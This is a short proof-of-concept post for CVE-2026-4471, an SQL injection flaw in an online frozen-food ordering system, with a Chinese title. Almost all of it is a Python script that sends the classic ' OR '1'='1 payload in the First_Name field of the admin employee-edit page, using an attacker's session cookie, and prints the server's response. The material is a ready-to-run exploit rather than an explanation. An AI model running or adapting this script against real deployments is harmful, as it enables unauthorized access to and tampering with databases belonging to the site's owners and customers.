CVE-2026-4471: 在线冷冻食品订购系统SQL注入漏洞

import requests # Target URL url = "http://target-host/admin/admin_edit_employee.php" # Attacker's session cookie (required due to Privileges Required: High) cookies = { "PHPSESSID": "attacker_session_id" } # Payload to test SQL injection # Example: ' OR '1'='1 payload = "' OR '1'='1" # Data to be sent in the POST request data = { "First_Name": payload, # Other required fields may go here } try: response = requests.post(url, data=data, cookies=cookies) # Check if the payload executed successfully if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")